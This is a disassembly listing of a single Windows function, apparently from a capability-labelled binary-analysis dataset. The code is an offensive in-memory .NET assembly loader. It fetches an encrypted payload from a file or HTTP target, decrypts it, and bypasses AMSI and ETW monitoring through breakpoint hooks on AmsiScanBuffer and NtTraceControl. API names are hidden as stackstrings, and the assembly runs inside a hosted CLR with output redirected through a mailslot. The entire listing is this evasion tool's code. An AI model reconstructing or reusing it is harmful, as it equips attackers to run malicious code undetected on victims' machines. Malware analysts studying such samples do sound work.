Function at 0x14001132f
Capabilities:
Accept command line arguments
Contain obfuscated stackstrings
Link many functions at runtime
Read file on windows

Disassembly:
jmp 0x140015140
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rsi
push rdi
sub rsp, 0xd20
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x248
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0xd48]
mov rax, qword [0x1400250c0]
xor rax, rbp
mov qword [rbp + 0xcd8], rax
lea rcx, [0x14002b166]
call fcn.140011488
nop
lea rax, str.nothinghere
mov qword [rbp + 8], rax
lea rax, [0x140021d20]
mov qword [rbp + 0x28], rax
lea rax, [0x140021d22]
mov qword [rbp + 0x48], rax
lea rax, [0x140021d22]
mov qword [rbp + 0x68], rax
lea rax, [0x140021d22]
mov qword [rbp + 0x88], rax
mov qword [rbp + 0xa8], 0
mov dword [rbp + 0xc4], 1
mov dword [rbp + 0xe4], 1
mov dword [rbp + 0x104], 0
mov dword [rbp + 0x124], 1
mov qword [rbp + 0x148], 0
mov qword [rbp + 0x168], 0
lea rax, str.nothinghere
mov qword [rbp + 0x188], rax
cmp dword [rbp + 0xd00], 3
jge 0x14001524e
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rbp + 0xd08]
mov rcx, qword [rcx + rax]
call fcn.14001141a
nop
xor eax, eax
jmp 0x14001616b
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rbp + 0xd08]
mov rax, qword [rcx + rax]
mov qword [rbp + 0x48], rax
mov r8d, 4
lea rdx, str.http
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ucrtbased.dll_strncmp]
test eax, eax
jne 0x14001528b
mov dword [rbp + 0x104], 1
mov rdx, qword [rbp + 0x48]
lea rcx, str.___Loading_file__s_n
call fcn.140011226
nop
mov eax, 8
imul rax, rax, 2
mov rcx, qword [rbp + 0xd08]
mov rax, qword [rcx + rax]
mov qword [rbp + 0x68], rax
mov rcx, qword [rbp + 0x68]
call fcn.1400111f9
mov qword [rbp + 0xa8], rax
mov rdx, qword [rbp + 0x68]
lea rcx, str.___Loading_key__s_n
call fcn.140011226
nop
mov eax, 8
imul rax, rax, 3
mov rcx, qword [rbp + 0xd08]
cmp qword [rcx + rax], 0
je 0x140015315
mov eax, 8
imul rax, rax, 3
mov rcx, qword [rbp + 0xd08]
mov rax, qword [rcx + rax]
mov qword [rbp + 0x28], rax
mov rdx, qword [rbp + 0x28]
lea rcx, str.___Arguments:__s_n
call fcn.140011226
nop
cmp dword [rbp + 0x104], 0
jne 0x1400153f6
lea rdx, [0x140021d80]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ucrtbased.dll_fopen]
mov qword [rbp + 0x1a8], rax
cmp qword [rbp + 0x1a8], 0
je 0x1400153de
mov r8d, 2
xor edx, edx
mov rcx, qword [rbp + 0x1a8]
call qword [sym.imp.ucrtbased.dll_fseek]
nop
mov rcx, qword [rbp + 0x1a8]
call qword [sym.imp.ucrtbased.dll_ftell]
cdqe
mov qword [rbp + 0x168], rax
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x1a8]
call qword [sym.imp.ucrtbased.dll_fseek]
nop
mov rcx, qword [rbp + 0x168]
call qword [sym.imp.ucrtbased.dll_malloc]
mov qword [rbp + 0x148], rax
mov r9, qword [rbp + 0x1a8]
mov r8d, 1
mov rdx, qword [rbp + 0x168]
mov rcx, qword [rbp + 0x148]
call qword [sym.imp.ucrtbased.dll_fread]
nop
mov r9, qword [rbp + 0xa8]
mov r8, qword [rbp + 0x68]
mov rdx, qword [rbp + 0x168]
mov rcx, qword [rbp + 0x148]
call fcn.140011375
nop
jmp 0x1400153f4
mov rdx, qword [rbp + 0x48]
lea rcx, str.____Failed_to_read_file:__s_n
call fcn.140011226
nop
jmp 0x140016169
jmp 0x140015472
lea r8, [rbp + 0x168]
lea rdx, [rbp + 0x148]
mov rcx, qword [rbp + 0x48]
call fcn.140011442
test eax, eax
jne 0x140015423
lea rcx, str.____Failed_to_get_payload_from_target
call fcn.140011226
nop
jmp 0x140016169
lea r8, [rbp + 0xa8]
lea rdx, [rbp + 0x88]
mov rcx, qword [rbp + 0x68]
call fcn.140011442
test eax, eax
jne 0x140015450
lea rcx, str.____Failed_to_get_key_from_target
call fcn.140011226
nop
jmp 0x140016169
mov r9, qword [rbp + 0xa8]
mov r8, qword [rbp + 0x88]
mov rdx, qword [rbp + 0x168]
mov rcx, qword [rbp + 0x148]
call fcn.140011375
nop
mov rcx, qword [rbp + 0x188]
call fcn.1400111f9
mov qword [rbp + 0x1c8], rax
mov rax, qword [rbp + 0x1c8]
add rax, 0xe
mov rcx, 0xffffffffffffffff
cmovb rax, rcx
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_malloc]
mov qword [rbp + 0x1e8], rax
mov rax, qword [rbp + 0x1c8]
add rax, 0xe
mov r8, rax
xor edx, edx
mov rcx, qword [rbp + 0x1e8]
call fcn.140011398
nop
mov r8d, SafeArrayGetDim
lea rdx, str..mailslot_
mov rcx, qword [rbp + 0x1e8]
call fcn.140011244
nop
mov rax, qword [rbp + 0x1c8]
inc rax
mov rcx, qword [rbp + 0x1e8]
add rcx, 0xd
mov r8, rax
mov rdx, qword [rbp + 0x188]
call fcn.140011244
nop
mov dword [rbp + 0x204], 0
mov qword [rbp + 0x228], 0
mov qword [rbp + 0x248], 0
mov qword [rbp + 0x268], 0
mov qword [rbp + 0x288], 0
mov qword [rbp + 0x2a8], 0
mov qword [rbp + 0x2c8], 0
mov qword [rbp + 0x2e8], 0
lea rax, [rbp + 0x308]
mov rdi, rax
xor eax, eax
mov ecx, reloc.OLEAUT32.dll_SafeArrayGetElement
rep stosb byte [rdi], al
lea rax, [rbp + 0x338]
mov rdi, rax
xor eax, eax
mov ecx, 8
rep stosb byte [rdi], al
mov qword [rbp + 0x358], 0
mov qword [rbp + 0x378], 0
mov qword [rbp + 0x398], 0
mov qword [rbp + 0x3b8], 0
mov dword [rbp + 0x3d4], 0
mov qword [rbp + 0x458], 0
mov qword [rbp + 0x478], 0
mov dword [rbp + 0x494], 1
mov qword [rbp + 0x4b8], 0xffff
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 0x4b8]
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rbp + 0x4d8], rax
mov r8, qword [rbp + 0x4b8]
xor edx, edx
mov rcx, qword [rbp + 0x4d8]
call fcn.140011398
nop
mov edx, dword [rbp + 0x168]
mov rcx, qword [rbp + 0x148]
call fcn.140011087
test eax, eax
je 0x140015643
lea rax, str.v4.0.30319
mov qword [rbp + 0x398], rax
jmp 0x140015651
lea rax, str.v2.0.50727
mov qword [rbp + 0x398], rax
mov qword [rbp + 0x4f8], 0
mov rcx, qword [rbp + 0x28]
call fcn.1400111f9
inc rax
mov qword [rbp + 0x458], rax
mov eax, 2
mul qword [rbp + 0x458]
mov rcx, 0xffffffffffffffff
cmovb rax, rcx
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_malloc]
mov qword [rbp + 0x358], rax
mov qword [rsp + 0x20], 0xffffffffffffffff
mov r9, qword [rbp + 0x28]
mov r8, qword [rbp + 0x458]
mov rdx, qword [rbp + 0x358]
lea rcx, [rbp + 0x4f8]
call qword [sym.imp.ucrtbased.dll_mbstowcs_s]
nop
mov qword [rbp + 0x518], 0
mov rcx, qword [rbp + 8]
call fcn.1400111f9
inc rax
mov qword [rbp + 0x478], rax
mov eax, 2
mul qword [rbp + 0x478]
mov rcx, 0xffffffffffffffff
cmovb rax, rcx
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_malloc]
mov qword [rbp + 0x378], rax
mov qword [rsp + 0x20], 0xffffffffffffffff
mov r9, qword [rbp + 8]
mov r8, qword [rbp + 0x478]
mov rdx, qword [rbp + 0x378]
lea rcx, [rbp + 0x518]
call qword [sym.imp.ucrtbased.dll_mbstowcs_s]
nop
lea rdx, [rbp + 0x3d4]
mov rcx, qword [rbp + 0x358]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov qword [rbp + 0x3b8], rax
mov eax, 0x2008
mov word [rbp + 0x308], ax
mov r8d, dword [rbp + 0x3d4]
xor edx, edx
mov cx, 8
call qword [sym.imp.OLEAUT32.dll_SafeArrayCopyData]
mov qword [rbp + 0x310], rax
mov dword [rbp + 0x534], 0
jmp 0x140015788
mov eax, dword [rbp + 0x534]
inc eax
mov dword [rbp + 0x534], eax
mov eax, dword [rbp + 0x3d4]
cmp dword [rbp + 0x534], eax
jge 0x1400157c8
movsxd rax, dword [rbp + 0x534]
mov rcx, qword [rbp + 0x3b8]
mov rcx, qword [rcx + rax*8]
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov r8, rax
lea rdx, [rbp + 0x534]
mov rcx, qword [rbp + 0x310]
call qword [sym.imp.OLEAUT32.dll_SafeArrayCopy]
nop
jmp 0x14001577a
lea rcx, str.___Setting_up_breakpoint_for_bypass__n
call fcn.140011226
nop
call fcn.14001103c
mov qword [rbp + 0x558], rax
cmp qword [rbp + 0x558], 0
jne 0x1400157ff
lea rcx, str.____Failed_to_setup_breakpoint__Abort._n
call fcn.140011226
nop
xor eax, eax
jmp 0x14001616b
mov byte [rbp + 0x578], 0x6e
mov byte [rbp + 0x579], 0x74
mov byte [rbp + 0x57a], 0x64
mov byte [rbp + 0x57b], 0x6c
mov byte [rbp + 0x57c], 0x6c
mov byte [rbp + 0x57d], 0x2e
mov byte [rbp + 0x57e], 0x64
mov byte [rbp + 0x57f], 0x6c
mov byte [rbp + 0x580], 0x6c
mov byte [rbp + 0x581], 0
mov byte [rbp + 0x5a8], 0x4e
mov byte [rbp + 0x5a9], 0x74
mov byte [rbp + 0x5aa], 0x54
mov byte [rbp + 0x5ab], 0x72
mov byte [rbp + 0x5ac], 0x61
mov byte [rbp + 0x5ad], 0x63
mov byte [rbp + 0x5ae], 0x65
mov byte [rbp + 0x5af], 0x43
mov byte [rbp + 0x5b0], 0x6f
mov byte [rbp + 0x5b1], 0x6e
mov byte [rbp + 0x5b2], 0x74
mov byte [rbp + 0x5b3], 0x72
mov byte [rbp + 0x5b4], 0x6f
mov byte [rbp + 0x5b5], 0x6c
mov byte [rbp + 0x5b6], 0
lea rcx, [rbp + 0x578]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [rbp + 0x5a8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x5d8], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov r9d, eax
lea r8, [0x140011005]
xor edx, edx
mov rcx, qword [rbp + 0x5d8]
call fcn.140011465
nop
lea rcx, str.___Start_loading_assembly__Please_wait_for_the_ouput._n
call fcn.140011226
nop
lea r9, [rbp + 0x268]
lea r8, [rbp + 0x248]
lea rdx, [rbp + 0x228]
mov rcx, qword [rbp + 0x398]
call fcn.140014a80
mov dword [rbp + 0x494], eax
cmp dword [rbp + 0x494], 1
je 0x140015933
jmp 0x140016169
lea rdx, [rbp + 0x418]
mov rcx, qword [rbp + 0x1e8]
call fcn.140011410
mov dword [rbp + 0x494], eax
mov byte [rbp + 0x5f8], 0x6b
mov byte [rbp + 0x5f9], 0x65
mov byte [rbp + 0x5fa], 0x72
mov byte [rbp + 0x5fb], 0x6e
mov byte [rbp + 0x5fc], 0x65
mov byte [rbp + 0x5fd], 0x6c
mov byte [rbp + 0x5fe], 0x33
mov byte [rbp + 0x5ff], 0x32
mov byte [rbp + 0x600], 0x2e
mov byte [rbp + 0x601], 0x64
mov byte [rbp + 0x602], 0x6c
mov byte [rbp + 0x603], 0x6c
mov byte [rbp + 0x604], 0
mov byte [rbp + 0x628], 0x43
mov byte [rbp + 0x629], 0x72
mov byte [rbp + 0x62a], 0x65
mov byte [rbp + 0x62b], 0x61
mov byte [rbp + 0x62c], 0x74
mov byte [rbp + 0x62d], 0x65
mov byte [rbp + 0x62e], 0x46
mov byte [rbp + 0x62f], 0x69
mov byte [rbp + 0x630], 0x6c
mov byte [rbp + 0x631], 0x65
mov byte [rbp + 0x632], 0x41
mov byte [rbp + 0x633], 0
lea rcx, [rbp + 0x5f8]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [rbp + 0x628]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x658], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
mov rcx, qword [rbp + 0x1e8]
call qword [rbp + 0x658]
mov qword [rbp + 0x438], rax
mov byte [rbp + 0x678], 0x47
mov byte [rbp + 0x679], 0x65
mov byte [rbp + 0x67a], 0x74
mov byte [rbp + 0x67b], 0x53
mov byte [rbp + 0x67c], 0x74
mov byte [rbp + 0x67d], 0x64
mov byte [rbp + 0x67e], 0x48
mov byte [rbp + 0x67f], 0x61
mov byte [rbp + 0x680], 0x6e
mov byte [rbp + 0x681], 0x64
mov byte [rbp + 0x682], 0x6c
mov byte [rbp + 0x683], 0x65
mov byte [rbp + 0x684], 0
lea rcx, [rbp + 0x5f8]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [rbp + 0x678]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x6a8], rax
mov ecx, 0xfffffff5
call qword [rbp + 0x6a8]
mov qword [rbp + 0x3f8], rax
mov byte [rbp + 0x6c8], 0x53
mov byte [rbp + 0x6c9], 0x65
mov byte [rbp + 0x6ca], 0x74
mov byte [rbp + 0x6cb], 0x53
mov byte [rbp + 0x6cc], 0x74
mov byte [rbp + 0x6cd], 0x64
mov byte [rbp + 0x6ce], 0x48
mov byte [rbp + 0x6cf], 0x61
mov byte [rbp + 0x6d0], 0x6e
mov byte [rbp + 0x6d1], 0x64
mov byte [rbp + 0x6d2], 0x6c
mov byte [rbp + 0x6d3], 0x65
mov byte [rbp + 0x6d4], 0
lea rcx, [rbp + 0x5f8]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [rbp + 0x6c8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x6f8], rax
mov rdx, qword [rbp + 0x438]
mov ecx, 0xfffffff5
call qword [rbp + 0x6f8]
mov dword [rbp + 0x494], eax
mov rax, qword [rbp + 0x268]
mov rax, qword [rax]
lea r9, [rbp + 0x288]
xor r8d, r8d
mov rdx, qword [rbp + 0x378]
mov rcx, qword [rbp + 0x268]
call qword [rax + 0x60]
mov dword [rbp + 0x204], eax
mov rax, qword [rbp + 0x288]
mov rax, qword [rax]
lea r8, [rbp + 0x2a8]
lea rdx, [0x140025010]
mov rcx, qword [rbp + 0x288]
call qword [rax]
mov dword [rbp + 0x204], eax
mov byte [rbp + 0x718], 0x61
mov byte [rbp + 0x719], 0x6d
mov byte [rbp + 0x71a], 0x73
mov byte [rbp + 0x71b], 0x69
mov byte [rbp + 0x71c], 0x2e
mov byte [rbp + 0x71d], 0x64
mov byte [rbp + 0x71e], 0x6c
mov byte [rbp + 0x71f], 0x6c
mov byte [rbp + 0x720], 0
mov byte [rbp + 0x748], 0x41
mov byte [rbp + 0x749], 0x6d
mov byte [rbp + 0x74a], 0x73
mov byte [rbp + 0x74b], 0x69
mov byte [rbp + 0x74c], 0x53
mov byte [rbp + 0x74d], 0x63
mov byte [rbp + 0x74e], 0x61
mov byte [rbp + 0x74f], 0x6e
mov byte [rbp + 0x750], 0x42
mov byte [rbp + 0x751], 0x75
mov byte [rbp + 0x752], 0x66
mov byte [rbp + 0x753], 0x66
mov byte [rbp + 0x754], 0x65
mov byte [rbp + 0x755], 0x72
mov byte [rbp + 0x756], 0
lea rcx, [rbp + 0x718]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rbp + 0x778], rax
lea rcx, [rbp + 0x718]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [rbp + 0x748]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x798], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov r9d, eax
lea r8, [0x140011005]
mov edx, 1
mov rcx, qword [rbp + 0x798]
call fcn.140011465
nop
mov eax, 8
imul rax, rax, 0
mov ecx, dword [rbp + 0x168]
mov dword [rbp + rax + 0x338], ecx
mov eax, 8
imul rax, rax, 0
mov dword [rbp + rax + 0x33c], 0
lea r8, [rbp + 0x338]
mov edx, 1
mov cx, 0x11
call qword [sym.imp.OLEAUT32.dll_SafeArrayDestroy]
mov qword [rbp + 0x7b8], rax
mov qword [rbp + 0x7d8], 0
lea rdx, [rbp + 0x7d8]
mov rcx, qword [rbp + 0x7b8]
call qword [sym.imp.OLEAUT32.dll_SafeArrayUnaccessData]
mov dword [rbp + 0x204], eax
mov r8, qword [rbp + 0x168]
mov rdx, qword [rbp + 0x148]
mov rcx, qword [rbp + 0x7d8]
call fcn.140011244
nop
mov rcx, qword [rbp + 0x7b8]
call qword [sym.imp.OLEAUT32.dll_SafeArrayGetElement]
mov dword [rbp + 0x204], eax
mov rax, qword [rbp + 0x2a8]
mov rax, qword [rax]
lea r8, [rbp + 0x2c8]
mov rdx, qword [rbp + 0x7b8]
mov rcx, qword [rbp + 0x2a8]
call qword [rax + 0x168]
mov dword [rbp + 0x204], eax
cmp dword [rbp + 0x204], 0
je 0x140015dbd
mov rdx, qword [rbp + 0x398]
lea rcx, str.____Process_refusing_to_load_AppDomain_of__ls_CLR_version._Try_running_an_assembly_that_requires_a_differnt_CLR_version._n
call fcn.140011226
nop
jmp 0x140016169
mov rax, qword [rbp + 0x2c8]
mov rax, qword [rax]
lea rdx, [rbp + 0x2e8]
mov rcx, qword [rbp + 0x2c8]
call qword [rax + 0x80]
mov dword [rbp + 0x204], eax
cmp dword [rbp + 0x204], 0
je 0x140015dfc
lea rcx, str.____Process_refusing_to_find_entry_point_of_assembly._n
call fcn.140011226
nop
jmp 0x140016169
mov r8d, reloc.OLEAUT32.dll_SafeArrayGetElement
xor edx, edx
lea rcx, [rbp + 0x7f8]
call fcn.140011398
nop
mov r8d, reloc.OLEAUT32.dll_SafeArrayGetElement
xor edx, edx
lea rcx, [rbp + 0x828]
call fcn.140011398
nop
mov eax, 1
mov word [rbp + 0x828], ax
mov r8d, dword [rbp + 0x124]
xor edx, edx
mov cx, SafeArrayDestroy
call qword [sym.imp.OLEAUT32.dll_SafeArrayCopyData]
mov qword [rbp + 0x858], rax
lea rax, [rbp + 0x874]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea r8, [rbp + 0x308]
lea rdx, [rbp + 0x874]
mov rcx, qword [rbp + 0x858]
call qword [sym.imp.OLEAUT32.dll_SafeArrayCopy]
nop
lea rax, [rbp + 0xcb0]
lea rcx, [rbp + 0x828]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.OLEAUT32.dll_SafeArrayGetElement
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rbp + 0x2e8]
mov rax, qword [rax]
lea r9, [rbp + 0x7f8]
mov r8, qword [rbp + 0x858]
lea rdx, [rbp + 0xcb0]
mov rcx, qword [rbp + 0x2e8]
call qword [rax + 0x128]
mov dword [rbp + 0x204], eax
lea rdx, [rbp + 0x418]
mov rcx, qword [rbp + 0x4d8]
call fcn.1400110a0
mov dword [rbp + 0x494], eax
mov rdx, qword [rbp + 0x4d8]
lea rcx, str._n_n_s_n
call fcn.140011226
nop
mov byte [rbp + 0x898], 0x43
mov byte [rbp + 0x899], 0x6c
mov byte [rbp + 0x89a], 0x6f
mov byte [rbp + 0x89b], 0x73
mov byte [rbp + 0x89c], 0x65
mov byte [rbp + 0x89d], 0x48
mov byte [rbp + 0x89e], 0x61
mov byte [rbp + 0x89f], 0x6e
mov byte [rbp + 0x8a0], 0x64
mov byte [rbp + 0x8a1], 0x6c
mov byte [rbp + 0x8a2], 0x65
mov byte [rbp + 0x8a3], 0
lea rcx, [rbp + 0x5f8]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [rbp + 0x898]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x8c8], rax
mov rcx, qword [rbp + 0x418]
call qword [rbp + 0x8c8]
nop
mov rcx, qword [rbp + 0x438]
call qword [rbp + 0x8c8]
nop
mov rdx, qword [rbp + 0x3f8]
mov ecx, 0xfffffff5
call qword [rbp + 0x6f8]
mov dword [rbp + 0x494], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov edx, eax
mov rcx, qword [rbp + 0x5d8]
call fcn.14001126c
nop
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov edx, eax
mov rcx, qword [rbp + 0x798]
call fcn.14001126c
nop
mov rcx, qword [rbp + 0x558]
call fcn.1400113b1
nop
mov rcx, qword [rbp + 0x7b8]
call qword [sym.imp.OLEAUT32.dll_SafeArrayGetDim]
nop
lea rcx, [rbp + 0x7f8]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
nop
lea rcx, [rbp + 0x828]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
nop
lea rcx, [rbp + 0x308]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
nop
cmp qword [rbp + 0x858], 0
je 0x140016033
mov rcx, qword [rbp + 0x858]
call qword [sym.imp.OLEAUT32.dll_SafeArrayGetDim]
nop
mov qword [rbp + 0x858], 0
cmp qword [rbp + 0x2e8], 0
je 0x14001605d
mov rax, qword [rbp + 0x2e8]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x2e8]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
nop
mov qword [rbp + 0x2e8], 0
cmp qword [rbp + 0x2c8], 0
je 0x140016087
mov rax, qword [rbp + 0x2c8]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x2c8]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
nop
mov qword [rbp + 0x2c8], 0
cmp qword [rbp + 0x2a8], 0
je 0x1400160b1
mov rax, qword [rbp + 0x2a8]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x2a8]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
nop
mov qword [rbp + 0x2a8], 0
cmp qword [rbp + 0x288], 0
je 0x1400160d0
mov rax, qword [rbp + 0x288]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x288]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
nop
cmp qword [rbp + 0x268], 0
je 0x140016104
mov rax, qword [rbp + 0x268]
mov rax, qword [rax]
mov rdx, qword [rbp + 0x288]
mov rcx, qword [rbp + 0x268]
call qword [rax + 0xa0]
nop
mov qword [rbp + 0x268], 0
cmp qword [rbp + 0x248], 0
je 0x14001612e
mov rax, qword [rbp + 0x248]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x248]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
nop
mov qword [rbp + 0x248], 0
cmp qword [rbp + 0x228], 0
je 0x140016158
mov rax, qword [rbp + 0x228]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x228]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
nop
mov qword [rbp + 0x228], 0
lea rcx, str.___Cleaned_up_the_breakpoint_and_CLR_created._n
call fcn.140011226
nop
jmp 0x140016169
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x140021650]
call fcn.140011401
mov rax, rdi
mov rcx, qword [rbp + 0xcd8]
xor rcx, rbp
call fcn.14001123f
lea rsp, [rbp + 0xce0]
pop rdi
pop rsi
pop rbp
ret